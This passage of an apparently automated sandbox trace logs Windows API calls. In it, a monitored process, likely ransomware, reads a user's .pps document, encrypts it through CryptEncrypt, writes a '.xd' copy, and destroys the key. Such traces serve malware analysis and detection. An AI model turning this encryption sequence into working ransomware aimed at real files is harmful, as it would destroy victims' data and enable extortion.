hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.199] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.199] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.199] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.199] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.199] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\a 4xlmlkzlnt6.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0069.199] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.199] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0069.199] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.199] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.199] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.199] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0069.200] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\a 4xlmlkzlnt6.pps.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0069.201] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.201] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.201] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.201] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.203] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0069.203] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xc85a, lpOverlapped=0x0) returned 1 [0069.205] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0069.207] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.208] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.208] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.208] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0069.208] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.208] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.208] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0069.208] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.208] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0069.208] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.208] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.209] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.209] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0069.209] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0069.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0069.209] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0069.209] CryptGetKeyParam (in: hKey=0x164c670, dwParam=0x7, pbData=0x1629430, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629430*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0069.209] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.209] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.210] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0069.210] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.210] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.210] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0069.210] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.210] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.210] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0069.210] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.210] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.210] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.211] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.211] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.211] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.211] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0069.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621678, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0069.211] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0069.212] CryptEncrypt (in: hKey=0x164c670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xc85a, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xc860) returned 1 [0069.212] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.212] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.212] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.212] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.212] CharLowerBuffW (in: lpsz="byte[51297]", cchLength=0xb | out: lpsz="byte[51297]") returned 0xb [0069.212] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.213] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.213] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.213] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0069.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621ab0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0069.213] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0069.213] CryptEncrypt (in: hKey=0x164c670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xc85a, dwBufLen=0xc860 | out: pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xc860) returned 1 [0069.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.214] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0069.214] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.214] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0069.214] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.214] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.214] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.214] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.214] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0069.214] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.214] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.219] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.219] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.219] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.220] WriteFile (in: hFile=0x3bc, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0xc860, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0xc860, lpOverlapped=0x0) returned 1 [0069.221] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.221] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.222] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0069.222] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.222] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.222] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0069.222] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0069.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621558, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0069.222] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0069.222] CryptDestroyKey (hKey=0x164c670) returned 1 [0069.222] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.222] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.222] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0069.222] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.222] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0069.222] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0069.223] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0069.223] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.223] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.223] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0069.223] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.223] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.223] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.223] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.223] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.223] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0069.223] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.223] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0069.223] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.223] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.223] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.223] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.223] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0069.223] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.223] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.223] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0069.223] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0069.224] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0069.224] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0069.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0069.224] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0069.224] CryptReleaseContext (hProv=0x17a9f00, dwFlags=0x0) returned 1 [0069.224] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.224] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.225] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0069.225] FreeLibrary (hLibModule=0x74c60000) returned 1 [0069.225] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.225] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.225] 